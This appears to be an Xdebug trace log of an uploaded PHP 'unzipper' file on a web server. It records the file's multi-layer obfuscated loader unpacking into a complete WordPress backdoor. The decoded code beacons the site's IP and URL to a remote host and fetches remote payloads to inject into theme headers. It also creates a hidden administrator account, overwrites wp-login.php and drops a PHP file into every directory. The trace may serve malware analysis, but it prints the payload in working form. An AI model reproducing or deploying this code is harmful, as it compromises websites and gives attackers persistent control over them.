Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:48:36.715746]
1	0	1	0.000415	393520
1	3	0	0.000853	431024	{main}	1		/var/www/html/uploads/uzip.php	0	0
1		A						/var/www/html/uploads/uzip.php	2	$stt1 = 'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA='
1		A						/var/www/html/uploads/uzip.php	3	$stt0 = '=g+j3il+IKFCXMYFiI+efc6/8rtfP/4e4ssoDqURQkoCeeoCMGMBe7ZYsfSefF6oYah59/LnRgTzV+hqKspGqFnu80usP+QK3bAkvGMsW86uhM4OnaeDiJ2tVKXlAnv3TrbDSzVBaRiR3l+vVn1AIPGIXl6afP0hzbT56cmY0LV32lwPiPVdef3tDdfZ5vlQzv/l8Oirbk+dXryy7pVbFkb7v/uXSSnHf8VW352KmEeOMRSOOdUYOhWErJqPJXUQontX6DcPNdGF/Doqddcl/RwL8w3HC1vyTY/LeSQuxEJdHSXpg/L3F/jrC+a92MDoc4+krX2e+v3SNbq2NwM62J2oHnxLaBPuo4ovyaDgf2jHpiJu70zzHlIqEXXXyEAE2P6O12l93Xl97WTf73ffd2sfu2M3+7FpaZ7ylX3al8qfQ6Ts6H49L2skTY8I1uIkl9L1DprfiyxU2HaTtcfiHZEPLfyM/OE+wHw9g9DhGtsmM1XIdT5ksqMPsonN8C9w'
2	4	0	0.000994	431024	base64_decode	0		/var/www/html/uploads/uzip.php	4	1	'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA='
2	4	1	0.001023	431184
2	4	R			'K-KPS+.)//14HKI,I\005Js\vR#Xjf\022\001(LC@\023\tX\003\000'
2	5	0	0.001060	431152	gzinflate	0		/var/www/html/uploads/uzip.php	4	1	'K-KPS+.)//14HKI,I\005Js\vR#Xjf\022\001(LC@\023\tX\003\000'
2	5	1	0.001097	431376
2	5	R			'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	6	0	0.001124	431216	htmlspecialchars_decode	0		/var/www/html/uploads/uzip.php	4	1	'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	6	1	0.001147	431248
2	6	R			'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	7	0	0.001194	434400	eval	1	'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'	/var/www/html/uploads/uzip.php	4	0
3	8	0	0.001217	434400	strrev	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'=g+j3il+IKFCXMYFiI+efc6/8rtfP/4e4ssoDqURQkoCeeoCMGMBe7ZYsfSefF6oYah59/LnRgTzV+hqKspGqFnu80usP+QK3bAkvGMsW86uhM4OnaeDiJ2tVKXlAnv3TrbDSzVBaRiR3l+vVn1AIPGIXl6afP0hzbT56cmY0LV32lwPiPVdef3tDdfZ5vlQzv/l8Oirbk+dXryy7pVbFkb7v/uXSSnHf8VW352KmEeOMRSOOdUYOhWErJqPJXUQontX6DcPNdGF/Doqddcl/RwL8w3HC1vyTY/LeSQuxEJdHSXpg/L3F/jrC+a92MDoc4+krX2e+v3SNbq2NwM62J2oHnxLaBPuo4ovyaDgf2jHpiJu70zzHlIqEXXXyEAE2P6O12l93Xl97WTf73ffd2sfu2M3+7FpaZ7ylX3al8qfQ6Ts6H49L2skTY8I1uIkl9L1DprfiyxU2HaTtcfiHZEPLfyM/OE+wHw9g9DhGtsmM1XIdT5ksqMPsonN8C9w'
3	8	1	0.001300	463104
3	8	R			'eJwBl0potQGSSm21eJwBh0p4tQGCSn21eJwBd0qItQFySo21eJwBZ0qYte1961Ybx9Lo72StvMNYB3ukHSF0RWAsYuDD2PmyuYiYb2PHS0vSHklgIqQBJpay/VDnz3mBcx7sVFVfprun5yIMtuOQrY2lmerq6urq6qrq7upnP/Vv+t9fjbqTYdDrOr/6w5OdfOHP7x34L7jKX/tDv3uWz73e29vpHJ6etLf2Oic7uULBYSD431LQd1pOHOQGwX10/NnANxH+d+d4e/fn/d2j9hF+S0Ubgd+Q0MGVkx8MPfjkoWDRcYuuho0wDueI0n/fn/WmvpMHmCJWo6AJKx56wTyPJd6W3ykAH5XmxBK7236zvdfu7B8dSRpZOc8fjrwuQm98//H7pfdQ5nI88Ffrnak/AZry7vj1bnny+s3q6cX6zeV8feT/XD6f/veb0S/V95VfgvXB6X+1Wm6hxPup5C67JY7B7zIMN8Nh/+nKilta6rxo775q7751iXmvt1/s'
3	9	0	0.001365	463072	base64_decode	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'eJwBl0potQGSSm21eJwBh0p4tQGCSn21eJwBd0qItQFySo21eJwBZ0qYte1961Ybx9Lo72StvMNYB3ukHSF0RWAsYuDD2PmyuYiYb2PHS0vSHklgIqQBJpay/VDnz3mBcx7sVFVfprun5yIMtuOQrY2lmerq6urq6qrq7upnP/Vv+t9fjbqTYdDrOr/6w5OdfOHP7x34L7jKX/tDv3uWz73e29vpHJ6etLf2Oic7uULBYSD431LQd1pOHOQGwX10/NnANxH+d+d4e/fn/d2j9hF+S0Ubgd+Q0MGVkx8MPfjkoWDRcYuuho0wDueI0n/fn/WmvpMHmCJWo6AJKx56wTyPJd6W3ykAH5XmxBK7236zvdfu7B8dSRpZOc8fjrwuQm98//H7pfdQ5nI88Ffrnak/AZry7vj1bnny+s3q6cX6zeV8feT/XD6f/veb0S/V95VfgvXB6X+1Wm6hxPup5C67JY7B7zIMN8Nh/+nKilta6rxo775q7751iXmvt1/s'
3	9	1	0.001523	491776
3	9	R			'x\001Jh\001Jmx\001Jx\001J}x\001wJ\001rJx\001gJ}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t'
3	10	0	0.002019	463072	gzuncompress	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'x\001Jh\001Jmx\001Jx\001J}x\001wJ\001rJx\001gJ}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t'
3	10	1	0.002514	483584
3	10	R			'\001Jmx\001Jx\001J}x\001wJ\001rJx\001gJ}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t`8Ȼ7'
3	11	0	0.003004	454880	gzinflate	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'\001Jmx\001Jx\001J}x\001wJ\001rJx\001gJ}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t`8Ȼ7'
3	11	1	0.003380	475392
3	11	R			'x\001Jx\001J}x\001wJ\001rJx\001gJ}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t`8Ȼ7\004`\b'
3	12	0	0.003767	454880	gzuncompress	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'x\001Jx\001J}x\001wJ\001rJx\001gJ}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t`8Ȼ7\004`\b'
3	12	1	0.004147	475392
3	12	R			'\001J}x\001wJ\001rJx\001gJ}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t`8Ȼ7\004`\b5wir\00'
3	13	0	0.004558	454880	gzinflate	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'\001J}x\001wJ\001rJx\001gJ}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t`8Ȼ7\004`\b5wir\00'
3	13	1	0.004942	475392
3	13	R			'x\001wJ\001rJx\001gJ}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t`8Ȼ7\004`\b5wir\003d?o\'
3	14	0	0.005328	454880	gzuncompress	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'x\001wJ\001rJx\001gJ}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t`8Ȼ7\004`\b5wir\003d?o\'
3	14	1	0.005710	475392
3	14	R			'\001rJx\001gJ}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t`8Ȼ7\004`\b5wir\003d?o\r~\fa?'
3	15	0	0.006084	454880	gzinflate	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'\001rJx\001gJ}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t`8Ȼ7\004`\b5wir\003d?o\r~\fa?'
3	15	1	0.006462	475392
3	15	R			'x\001gJ}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t`8Ȼ7\004`\b5wir\003d?o\r~\fa?srt'
3	16	0	0.006840	454880	gzuncompress	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'x\001gJ}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t`8Ȼ7\004`\b5wir\003d?o\r~\fa?srt'
3	16	1	0.007216	475392
3	16	R			'}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t`8Ȼ7\004`\b5wir\003d?o\r~\fa?srt{\aq\002'
3	17	0	0.007591	454880	gzinflate	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'}V\033dX\a{\035!tE`,bocKK\036I`"\001&Pys\036TU_"\f㐭g?o_a:Ó|\035/_C{Ͻ\034:\';Ba RwZN\034\006}t7\021wx{ݣ\021~KE\033ߐ\037\f=`q0\016ߟ\a"V\t+\036z<%ޖ)\000\037\022~\037\035I\032Y9\037.Bo|Pr<W띩?\001ny|}\\>/_Zn.%2\f7aʊ[Zhjuy_z~y{b\023w\034t`8Ȼ7\004`\b5wir\003d?o\r~\fa?srt{\aq\002'
3	17	1	0.008259	569600
3	17	R			'<?cuc\nshapgvba TrgVC(){\n    vs(trgrai("UGGC_PYVRAG_VC")) {\n        $vc = trgrai("UGGC_PYVRAG_VC");\n    } ryfrvs(trgrai("UGGC_K_SBEJNEQRQ_SBE")) {\n        $vc = trgrai("UGGC_K_SBEJNEQRQ_SBE");\n        vs (fgefge($vc, \',\')) {\n            $gzc = rkcybqr (\',\', $vc);\n            $vc = gevz($gzc[0]);\n        }\n    } ryfr {\n        $vc = trgrai("ERZBGR_NQQE");\n    }\n    erghea $vc;\n}\n$k = onfr64_qrpbqr(\'nUE0pUZ6Yl9uoz9hrJ0jqKZhL2k1Lv9fYD==\').TrgVC().\'-\'.onfr64_rapbqr(\'uggc://\'.$_FREIRE[\'U'
3	18	0	0.008485	549088	str_rot13	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'<?cuc\nshapgvba TrgVC(){\n    vs(trgrai("UGGC_PYVRAG_VC")) {\n        $vc = trgrai("UGGC_PYVRAG_VC");\n    } ryfrvs(trgrai("UGGC_K_SBEJNEQRQ_SBE")) {\n        $vc = trgrai("UGGC_K_SBEJNEQRQ_SBE");\n        vs (fgefge($vc, \',\')) {\n            $gzc = rkcybqr (\',\', $vc);\n            $vc = gevz($gzc[0]);\n        }\n    } ryfr {\n        $vc = trgrai("ERZBGR_NQQE");\n    }\n    erghea $vc;\n}\n$k = onfr64_qrpbqr(\'nUE0pUZ6Yl9uoz9hrJ0jqKZhL2k1Lv9fYD==\').TrgVC().\'-\'.onfr64_rapbqr(\'uggc://\'.$_FREIRE[\'U'
3	18	1	0.008664	663808
3	18	R			'<?php\nfunction GetIP(){\n    if(getenv("HTTP_CLIENT_IP")) {\n        $ip = getenv("HTTP_CLIENT_IP");\n    } elseif(getenv("HTTP_X_FORWARDED_FOR")) {\n        $ip = getenv("HTTP_X_FORWARDED_FOR");\n        if (strstr($ip, \',\')) {\n            $tmp = explode (\',\', $ip);\n            $ip = trim($tmp[0]);\n        }\n    } else {\n        $ip = getenv("REMOTE_ADDR");\n    }\n    return $ip;\n}\n$x = base64_decode(\'aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ==\').GetIP().\'-\'.base64_encode(\'http://\'.$_SERVER[\'H'
3	19	0	0.012847	1369640	eval	1	'?><?php\nfunction GetIP(){\n    if(getenv("HTTP_CLIENT_IP")) {\n        $ip = getenv("HTTP_CLIENT_IP");\n    } elseif(getenv("HTTP_X_FORWARDED_FOR")) {\n        $ip = getenv("HTTP_X_FORWARDED_FOR");\n        if (strstr($ip, \',\')) {\n            $tmp = explode (\',\', $ip);\n            $ip = trim($tmp[0]);\n        }\n    } else {\n        $ip = getenv("REMOTE_ADDR");\n    }\n    return $ip;\n}\n$x = base64_decode(\'aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ==\').GetIP().\'-\'.base64_encode(\'http://\'.$_SERVER[\'HTTP_HOST\'].$_SERVER[\'REQUEST_URI\']);\nif(function_exists(\'curl_init\'))\n{\n    $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch);\n    if($gitt == false){\n        @$gitt = file_get_contents($x);\n    }\n}elseif(function_exists(\'file_get_contents\')){\n    @$gitt = file_get_contents($x);\n}\n?><?php\n$document_root = $_SERVER["DOCUMENT_ROOT"];\n$document_root_file = dirname(__FILE__);\n$wp_detect = 0;\nif(file_exists($document_root.\'/wp-load.php\'))\n{   \n    include $document_root.\'/wp-load.php\';\n    $wp_detect = 1;\n}else\n{\n    $prefix = count(@explode(\'/\', $document_root_file));\n    $a = \'\';\n    for($i = 0; $i<$prefix; $i++)\n    {\n      $a = $a.\'../\';\n      if(file_exists($document_root_file.\'/\'.$a.\'wp-load.php\'))\n      {\n          include $document_root_file.\'/\'.$a.\'wp-load.php\';\n          $wp_detect = 1;\n          break;\n      }\n    }\n}\n\nif($wp_detect == 1)\n{\n    //Header Yazdırma\n    $wp_theme_dir = get_template_directory();\n    $header_file = $wp_theme_dir.\'/headers.php\';\n    $header_content = file_get_contents($header_file);\n    $append = http_get(\'https://acbdf.space/txt/wp.txt\');\n    if(!preg_match(\'#\'.$append.\'#\', $header_content))\n    {   \n\t    $new_content = $append.$header_content;\n\t    $open_file = fopen($header_file, \'w\');\n\t    fwrite($open_file, $new_content);\n\t    fclose($open_file);\n    }\n    //Header Yazdırma   \n    \n    // shell Ekleme\n    $user = \'new_admin\';\n    $pass = \'$P$BxJON2B3zzrCatyLOwJ2y24afkU11l.\';\n    $email = \'byhero44@gmail.com\';\n    if (!username_exists( $user ) && !email_exists( $email ) ) {\n        $user_id = wp_create_user( $user, $pass, $email );\n        $user = new WP_User( $user_id );\n        $user->set_role( \'administrator\' );\n    } \n    // shell Ekleme\n    \n    // Wp Login Yazma.\n    $wp_login = ABSPATH.\'/wp-login.php\';\n    $login = http_get(\'https://acbdf.space/txt/seo.txt\');\n    $open_login = fopen($wp_login, \'w\');\n    fwrite($open_login, $login);\n    fclose($open_login);\n    // Wp Login Yazma.\n}\n\n// Klasörlere Yazma\n$directories = expandDirectories($document_root);\n$css = http_get(\'https://acbdf.space/txt/wp.txt\');\nforeach($directories as $dir)\n{\n\tif(!preg_match(\'#wp-content#\', $dir))\n\t{\n\t    $css_file = $dir.\'/wp-inda.php\';\n\t    $open_css = fopen($css_file, \'w\');\n\t    fwrite($open_css, $css);\n\t    fclose($open_css);\n    }\n}\n// Klasörlere Yazma\n\nfunction expandDirectories($base_dir) {\n      $directories = array();\n      foreach(scandir($base_dir) as $file) {\n            if($file == \'.\' || $file == \'..\') continue;\n            $dir = $base_dir.DIRECTORY_SEPARATOR.$file;\n            if(is_dir($dir)) {\n                $directories []= $dir;\n                $directories = array_merge($directories, expandDirectories($dir));\n            }\n      }\n      return $directories;\n}\nfunction http_get($url)\n{\n\t$im = curl_init($url);\n\tcurl_setopt($im, CURLOPT_RETURNTRANSFER, 1);\n\tcurl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);\n\tcurl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);\n\tcurl_setopt($im, CURLOPT_HEADER, 0);\n\treturn curl_exec($im);\n\tcurl_close($im);\n}\n?><?php\r\n/***************************************************************************\r\n                         www.r00t.info    PHP Unzipper, v3.1\r\n ***************************************************************************\r\n    file:                index.php\r\n    functionality:       Provides a shell wrapper for Vincent Blavet\'s PclZip module.\r\n\r\n                         This application is helpful when there is a need to upload a\r\n                         many files with complicated directory structure to web server,\r\n                         for example, forum systems (like phpBB) or other applications\r\n                         (like phpMyAdmin) which consists of many files arranged in complicated\r\n                         directory structure. All you need to do is to upload the archive file\r\n                         and PHP Unzipper will take care of creating the correct directory layot\r\n                         and file extraction. This program is especially helpful when you don\'t\r\n                         have FTP access to webserver but generally it will be helpful in all cases\r\n                         when there is a need to upload many small files to webserver.\r\n                         \r\n    begin                27.05.2016\r\n    last edited          27.05.2016\r\n    copyright            (C) 2016 r00t.info\r\n    email                system@r00t.info\r\n\r\n/***************************************************************************\r\n *\r\n *   This program is free software; you can redistribute it and/or modify\r\n *   it under the terms of the GNU Lesser General Public License as published by\r\n *   the Free Software Foundation; either version 2 of the License, or\r\n *   (at your option) any later version.\r\n *\r\n ***************************************************************************/\r\n \r\nfunction fileext ($file) {\r\n\t$p = pathinfo($file);\r\n\tif (isset($p[\'extension\']))\treturn $p[\'extension\'];\r\n\treturn \'\';\r\n}\r\n\r\nfunction convertsize($size) {\r\n\t$times = 0;\r\n\t$comma = \'.\';\r\n\twhile ($size > 1024) {\r\n\t\t$times++;\r\n\t\t$size = $size/1024;\r\n\t}\r\n\t$size2 = floor($size);\r\n\t$rest = $size - $size2;\r\n\t$rest = $rest * 100;\r\n\t$decimal = floor($rest);\r\n\r\n\t$addsize = $decimal;\r\n\tif ($decimal<10) {$addsize .= \'0\';};\r\n\r\n\tif ($times == 0){$addsize=$size2;} else\r\n\t {$addsize=$size2.$comma.substr($addsize,0,2);}\r\n\r\n\tswitch ($times) {\r\n\t  case 0 : $mega = \' bytes\'; break;\r\n\t  case 1 : $mega = \' KB\'; break;\r\n\t  case 2 : $mega = \' MB\'; break;\r\n\t  case 3 : $mega = \' GB\'; break;\r\n\t  case 4 : $mega = \' TB\'; break;}\r\n\r\n\t$addsize .= $mega;\r\n\r\n\treturn $addsize;\r\n}\r\n \r\n?>\r\n<script type="text/javascript">\r\ndocument.write(unescape(\'%3C%68%74%6D%6C%3E%0A%3C%68%65%61%64%3E%3C%74%69%74%6C%65%3E%77%77%77%2E%72%30%30%74%2E%69%6E%66%6F%20%50%48%50%20%55%6E%5A%49%50%20%77%77%77%2E%73%75%6E%75%63%75%74%61%72%61%2E%6F%72%67%3C%2F%74%69%74%6C%65%3E%3C%2F%68%65%61%64%3E%0A%0A%3C%73%74%79%6C%65%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%3E%0A%09%62%6F%64%79%20%7B%0A%20%20%20%20%20%20%20%20%62%61%63%6B%67%72%6F%75%6E%64%3A%23%30%30%30%3B%0A%09%09%63%6F%6C%6F%72%3A%23%66%66%66%3B%0A%09%09%70%61%64%64%69%6E%67%3A%30%3B%0A%09%09%6D%61%72%67%69%6E%3A%30%3B%0A%09%09%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%76%65%72%64%61%6E%61%3B%0A%09%7D%0A%0A%09%2E%68%65%61%64%65%72%20%7B%0A%20%20%20%20%20%20%20%20%62%6F%72%64%65%72%2D%62%6F%74%74%6F%6D%3A%20%23%30%30%43%43%43%43%20%33%70%78%20%73%6F%6C%69%64%3B%0A%20%20%20%20%20%20%20%20%66%6F%6E%74%2D%73%69%7A%65%3A%31%2E%35%65%6D%3B%0A%20%20%20%20%20%20%20%20%62%61%63%6B%67%72%6F%75%6E%64%3A%23%33%36%39%3B%0A%20%20%20%20%20%20%20%20%70%61%64%64%69%6E%67%3A%31%30%70%78%20%30%3B%0A%20%20%20%20%20%20%20%20%77%69%64%74%68%3A%31%30%30%25%3B%0A%20%20%20%20%20%20%20%20%63%6C%65%61%72%3A%61%6C%6C%3B%0A%09%09%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%3A%31%30%70%78%3B%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%0A%20%20%20%20%20%20%20%20%7D%0A%09%2E%66%6F%6F%74%65%72%20%7B%0A%09%09%6D%61%72%67%69%6E%2D%74%6F%70%3A%31%30%70%78%3B%0A%09%09%62%6F%72%64%65%72%2D%74%6F%70%3A%20%23%30%30%43%43%43%43%20%33%70%78%20%73%6F%6C%69%64%3B%0A%09%09%77%69%64%74%68%3A%31%30%30%25%3B%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%0A%09%09%66%6F%6E%74%2D%73%69%7A%65%3A%30%2E%38%65%6D%3B%0A%09%7D%0A%09%0A%09%2E%6D%61%69%6E%20%7B%0A%09%09%6D%61%72%67%69%6E%3A%30%20%61%75%74%6F%3B%0A%09%09%77%69%64%74%68%3A%37%30%30%70%78%3B%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%09%09%0A%09%7D%0A%09%0A%09%68%33%7B%0A%09%09%66%6F%6E%74%2D%73%69%7A%65%3A%30%2E%38%65%6D%3B%0A%09%7D%0A%09%0A%09%61%20%7B%0A%09%09%63%6F%6C%6F%72%3A%23%30%30%43%43%43%43%3B%0A%09%7D%0A%0A%09%61%2E%66%6F%6C%64%65%72%20%7B%0A%09%09%70%61%64%64%69%6E%67%2D%6C%65%66%74%3A%32%30%70%78%3B%0A%09%09%62%61%63%6B%67%72%6F%75%6E%64%3A%20%75%72%6C%28%64%61%74%61%3A%69%6D%61%67%65%2F%67%69%66%3B%62%61%73%65%36%34%2C%52%30%6C%47%4F%44%6C%68%45%41%41%51%41%4F%5A%41%41%50%2F%4D%41%4A%4E%67%41%46%30%36%41%50%2F%2F%41%50%2F%55%41%50%2F%6C%41%50%2F%2F%2F%2F%2F%4A%41%4A%56%69%41%4F%79%35%41%4A%52%68%41%4F%61%7A%41%4E%53%68%41%4A%52%67%41%4D%43%4B%41%4A%5A%69%41%4D%36%62%41%50%33%4B%41%4B%42%71%41%50%2F%4B%41%50%2F%53%41%48%35%55%41%4D%75%58%41%50%2F%52%41%4E%43%71%50%66%2F%72%6A%4A%78%6D%41%4E%69%77%4F%76%2F%49%41%50%2F%50%41%4D%4F%4F%41%50%2F%4C%41%50%2F%59%52%63%32%61%41%46%30%38%41%50%2F%74%6B%76%2F%67%63%76%2F%61%41%50%2F%55%47%35%35%6F%41%4D%32%5A%41%4F%75%34%41%4F%53%78%41%50%2F%69%6C%5A%4E%66%41%50%2F%57%41%4E%47%64%41%4A%5A%67%41%4C%2B%4B%41%4A%68%6C%41%4E%65%6A%41%50%2F%58%4F%2B%6D%32%41%4E%4F%67%41%50%2F%6D%41%50%2F%65%58%2F%2F%73%41%50%2F%57%4B%2F%2F%6E%72%76%43%39%41%50%33%4A%41%50%2F%52%43%50%2F%67%67%35%52%65%41%50%2F%2F%2F%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%48%35%42%41%45%41%41%45%41%41%4C%41%41%41%41%41%41%51%41%42%41%41%41%41%65%50%67%45%43%43%67%34%53%46%68%6F%65%47%44%51%30%4B%6A%41%71%49%51%41%30%36%50%42%45%52%41%41%41%42%43%4A%6D%5A%4D%59%49%42%4B%79%6F%4C%6F%54%51%70%43%61%55%4A%4F%77%